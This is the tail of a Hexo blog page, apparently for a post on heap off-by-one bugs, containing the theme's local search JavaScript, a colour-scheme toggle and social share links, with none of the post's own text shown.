      if (isHidden) {
        searchOverlayArea.classList.remove('hidden')
        document.body.classList.add('hidden')
        // inputArea.focus()
      } else {
        searchOverlayArea.classList.add('hidden')
        document.body.classList.remove('hidden')
      }
    }

    function blurSearchContent(e) {
      if (e.target === searchOverlayArea) {
        openOrHideSearchContent()
      }
    }

    document.querySelector("#search-icon").addEventListener("click", openOrHideSearchContent, false)
    document.querySelector("#search-close-icon").addEventListener("click", openOrHideSearchContent, false)
    searchOverlayArea.addEventListener("click", blurSearchContent, false)

    var searchFunc = function (path, search_id, content_id) {
      'use strict';
      var $input = document.getElementById(search_id);
      var $resultContent = document.getElementById(content_id);
      $resultContent.innerHTML = "<ul><span class='local-search-empty'>First search, index file loading, please wait...<span></ul>";
      $.ajax({
        // 0x01. load xml file
        url: path,
        dataType: "xml",
        success: function (xmlResponse) {
          // 0x02. parse xml file
          var datas = $("entry", xmlResponse).map(function () {
            return {
              title: $("title", this).text(),
              content: $("content", this).text(),
              url: $("url", this).text()
            };
          }).get();
          $resultContent.innerHTML = "";

          $input.addEventListener('input', function () {
            // 0x03. parse query to keywords list
            var str = '<ul class=\"search-result-list\">';
            var keywords = this.value.trim().toLowerCase().split(/[\s\-]+/);
            $resultContent.innerHTML = "";
            if (this.value.trim().length <= 0) {
              return;
            }
            // 0x04. perform local searching
            datas.forEach(function (data) {
              var isMatch = true;
              var content_index = [];
              if (!data.title || data.title.trim() === '') {
                data.title = "Untitled";
              }
              var orig_data_title = data.title.trim();
              var data_title = orig_data_title.toLowerCase();
              var orig_data_content = data.content.trim().replace(/<[^>]+>/g, "");
              var data_content = orig_data_content.toLowerCase();
              var data_url = data.url;
              var index_title = -1;
              var index_content = -1;
              var first_occur = -1;
              // only match artiles with not empty contents
              if (data_content !== '') {
                keywords.forEach(function (keyword, i) {
                  index_title = data_title.indexOf(keyword);
                  index_content = data_content.indexOf(keyword);

                  if (index_title < 0 && index_content < 0) {
                    isMatch = false;
                  } else {
                    if (index_content < 0) {
                      index_content = 0;
                    }
                    if (i == 0) {
                      first_occur = index_content;
                    }
                    // content_index.push({index_content:index_content, keyword_len:keyword_len});
                  }
                });
              } else {
                isMatch = false;
              }
              // 0x05. show search results
              if (isMatch) {
                str += "<li><a href='" + data_url + "' class='search-result-title'>" + orig_data_title + "</a>";
                var content = orig_data_content;
                if (first_occur >= 0) {
                  // cut out 100 characters
                  var start = first_occur - 20;
                  var end = first_occur + 80;

                  if (start < 0) {
                    start = 0;
                  }

                  if (start == 0) {
                    end = 100;
                  }

                  if (end > content.length) {
                    end = content.length;
                  }

                  var match_content = content.substr(start, end);

                  // highlight all keywords
                  keywords.forEach(function (keyword) {
                    var regS = new RegExp(keyword, "gi");
                    match_content = match_content.replace(regS, "<span class=\"search-keyword\">" + keyword + "</span>");
                  });

                  str += "<p class=\"search-result-abstract\">" + match_content + "...</p>"
                }
                str += "</li>";
              }
            });
            str += "</ul>";
            if (str.indexOf('<li>') === -1) {
              return $resultContent.innerHTML = "<ul><span class='local-search-empty'>No result<span></ul>";
            }
            $resultContent.innerHTML = str;
          });
        },
        error: function(xhr, status, error) {
          $resultContent.innerHTML = ""
          if (xhr.status === 404) {
            $resultContent.innerHTML = "<ul><span class='local-search-empty'>The search.xml file was not found, please refer to：<a href='https://github.com/zchengsite/hexo-theme-oranges#configuration' target='_black'>configuration</a><span></ul>";
          } else {
            $resultContent.innerHTML = "<ul><span class='local-search-empty'>The request failed, Try to refresh the page or try again later.<span></ul>";
          }
        }
      });
      $(document).on('click', '#search-close-icon', function() {
        $('#search-input').val('');
        $('#search-result').html('');
      });
    }

    var getSearchFile = function() {
        var path = "/search.xml";
        searchFunc(path, 'search-input', 'search-result');
    }
  </script>




        
  <div class="tools-bar-item theme-icon" id="switch-color-scheme">
    <a href="javascript: void(0)">
      <i id="theme-icon" class="iconfont icon-moon"></i>
    </a>
  </div>

  
<script src="/js/colorscheme.js"></script>





        
  
    <div class="share-icon tools-bar-item">
      <a href="javascript: void(0)" id="share-icon">
        <i class="iconfont iconshare"></i>
      </a>
      <div class="share-content hidden">
        
          <a class="share-item" href="https://twitter.com/intent/tweet?text=' + %E5%A0%86%E4%B8%AD%E7%9A%84off-by-one + '&url=' + https%3A%2F%2Fghostasky.github.io%2F2021%2F03%2F21%2F%25E5%25A0%2586%25E4%25B8%25AD%25E7%259A%2584off-by-one%2F + '" target="_blank" title="Twitter">
            <i class="iconfont icon-twitter"></i>
          </a>
        
        
          <a class="share-item" href="https://www.facebook.com/sharer.php?u=https://ghostasky.github.io/2021/03/21/%E5%A0%86%E4%B8%AD%E7%9A%84off-by-one/" target="_blank" title="Facebook">
            <i class="iconfont icon-facebooksquare"></i>
          </a>
        
      </div>
    </div>
  
  
<script src="/js/shares.js"></script>



      </div>
    </div>
  </body>
</html>
